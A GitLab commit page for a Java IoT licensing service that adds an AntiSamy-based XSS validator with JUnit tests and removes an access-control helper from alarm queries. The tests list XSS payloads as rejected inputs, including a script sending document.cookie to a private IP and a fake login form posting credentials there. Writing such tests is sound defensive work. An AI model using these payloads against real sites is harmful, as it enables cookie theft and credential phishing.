Commit 13c073fd authored by zengtianlai3's avatar zengtianlai3

xss 优化

parent c600c541
...@@ -42,8 +42,7 @@ public class AlarmReadServiceImpl extends ServiceImpl<AlarmReadMapper, AlarmRead ...@@ -42,8 +42,7 @@ public class AlarmReadServiceImpl extends ServiceImpl<AlarmReadMapper, AlarmRead
} }
userId = Integer.valueOf(XssUtil.checkXSS(String.valueOf(userId))); userId = Integer.valueOf(XssUtil.checkXSS(String.valueOf(userId)));
List<AlarmVo> alarmList = alarmMapper.getAlarmList(userId); List<AlarmVo> alarmList = alarmMapper.getAlarmList(userId);
List<AlarmVo> list = CommonUtil.dealWithAccessControl(alarmList, List.class); for (AlarmVo alarm: alarmList) {
for (AlarmVo alarm: list) {
if (alarm.getReadFlag() == 0) { if (alarm.getReadFlag() == 0) {
int alarmId = alarm.getId(); int alarmId = alarm.getId();
int typeId = alarm.getTypeId(); int typeId = alarm.getTypeId();
......
...@@ -31,8 +31,7 @@ public class AlarmServiceImpl extends ServiceImpl<AlarmMapper, Alarm> implements ...@@ -31,8 +31,7 @@ public class AlarmServiceImpl extends ServiceImpl<AlarmMapper, Alarm> implements
if (uI == 0) { if (uI == 0) {
throw new IotLicenseException(ResultCode.VALIDATE_FAILED.getCode(), ResultCode.VALIDATE_FAILED.getMsg()); throw new IotLicenseException(ResultCode.VALIDATE_FAILED.getCode(), ResultCode.VALIDATE_FAILED.getMsg());
} }
List<AlarmVo> list = alarmMapper.getAlarmList(uI); List<AlarmVo> alarmVos = alarmMapper.getAlarmList(uI);
List<AlarmVo> alarmVos = CommonUtil.dealWithAccessControl(list, List.class);
alarmVos = alarmVos.stream().sorted(Comparator.comparing(AlarmVo::getCreateTime, Comparator.reverseOrder())).collect(Collectors.toList()); alarmVos = alarmVos.stream().sorted(Comparator.comparing(AlarmVo::getCreateTime, Comparator.reverseOrder())).collect(Collectors.toList());
if (alarmVos != null && !alarmVos.isEmpty()) { if (alarmVos != null && !alarmVos.isEmpty()) {
for (AlarmVo alarmVo : alarmVos) { for (AlarmVo alarmVo : alarmVos) {
......
...@@ -153,15 +153,4 @@ public class CommonUtil { ...@@ -153,15 +153,4 @@ public class CommonUtil {
} }
} }
public static <T> T dealWithAccessControl(Object obj, Class<T> clazz) {
ResResult actionResult = (ResResult) reverseData(obj, clazz);
HashMap<String, Object> resMap = null;
if (!PubUtils.isNull(actionResult)) {
resMap = (HashMap<String, Object>)actionResult.getRecord();
}
return (T) resMap.get("data");
}
} }
/**
* Copyright © 2016-2022 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package iot.sixiang.license.validation;
import javax.validation.Constraint;
import javax.validation.Payload;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
@Constraint(validatedBy = {})
public @interface Length {
String message() default "length of {fieldName} must be equal or less than {max}";
String fieldName();
int max() default 255;
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
package iot.sixiang.license.validation;
import javax.validation.ConstraintValidatorContext;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.mockito.Mockito.mock;
/**
* Title: MainTest
* Description: TODO
*
* @author tianlai3
* @date 2022-07-17 00:33:08
*/
public class MainTest {
public static void main(String[] args) {
NoXssValidator validator;
validator = new NoXssValidator();
validator.initialize(null);
String stringWithXss = "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666";
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
System.out.println(isValid);
assertFalse(isValid);
}
}
/**
* Copyright © 2016-2022 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package iot.sixiang.license.validation;
import javax.validation.Constraint;
import javax.validation.Payload;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
@Constraint(validatedBy = {})
public @interface NoXss {
String message() default "field value is malformed";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
/**
* Copyright © 2016-2022 The Thingsboard Authors
* <p>
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package iot.sixiang.license.validation;
import lombok.extern.slf4j.Slf4j;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.Policy;
import org.owasp.validator.html.PolicyException;
import org.owasp.validator.html.ScanException;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.Objects;
@Slf4j
public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
private static final AntiSamy xssChecker = new AntiSamy();
private static Policy xssPolicy;
@Override
public void initialize(NoXss constraintAnnotation) {
log.info("1 {}", getClass());
log.info("2 {}", getClass().getClassLoader());
log.info("xss-policy1 {}", getClass().getClassLoader().getResourceAsStream("src/main/resources/xss-policy.xml"));
log.info("xss-policy2 {}", getClass().getClassLoader().getResourceAsStream("xss-policy.xml"));
String antiSamyPath = Objects.requireNonNull(NoXssValidator.class.getClassLoader().getResource("antisamy-ebay.xml")).getFile();
if (xssPolicy == null) {
// 获取的文件路径中有空格时,空格会被替换为%20,在new一个File对象时会出现找不到路径的错误
// 对路径进行解码以解决该问题
try {
antiSamyPath = URLDecoder.decode(antiSamyPath, "utf-8");
} catch (UnsupportedEncodingException e) {
log.warn(e.getMessage());
}
log.info(antiSamyPath);
// 指定策略文件
try {
xssPolicy = Policy.getInstance(antiSamyPath);
} catch (PolicyException e) {
log.warn(e.getMessage());
}
// xssPolicy = Optional.ofNullable(getClass().getClassLoader().getResource(antiSamyPath))
//// xssPolicy = Optional.ofNullable(getClass().getClassLoader().getResource("xss-policy.xml"))
//// xssPolicy = Optional.ofNullable(getClass().getClassLoader().getResourceAsStream("xss-policy.xml"))
// .map(inputStream -> {
// try {
// return Policy.getInstance(inputStream);
// } catch (Exception e) {
// throw new RuntimeException(e);
// }
// })
// .orElseThrow(() -> new IllegalStateException("XSS policy file not found"));
}
}
@Override
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
if (!(value instanceof String) || ((String) value).isEmpty()) {
return true;
}
try {
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
} catch (ScanException | PolicyException e) {
return false;
}
}
}
/**
* Copyright © 2016-2022 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package iot.sixiang.license.validation;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.ValueSource;
import javax.validation.ConstraintValidatorContext;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.mockito.Mockito.mock;
public class NoXssValidatorTest {
private static NoXssValidator validator;
@BeforeAll
public static void beforeAll() {
validator = new NoXssValidator();
validator.initialize(null);
}
@ParameterizedTest
@ValueSource(strings = {
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
"9090<body onload=alert('xsssss')>90909",
"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
"bambam<script>alert(document.cookie)</script>",
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
" <img src= \"http://site.com/\" > ",
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
})
public void testIsNotValid(String stringWithXss) {
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
System.out.println(isValid);
assertFalse(isValid);
}
@Test
public void test1(){
String stringWithXss = "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666";
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
System.out.println(isValid);
assertFalse(isValid);
}
}
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment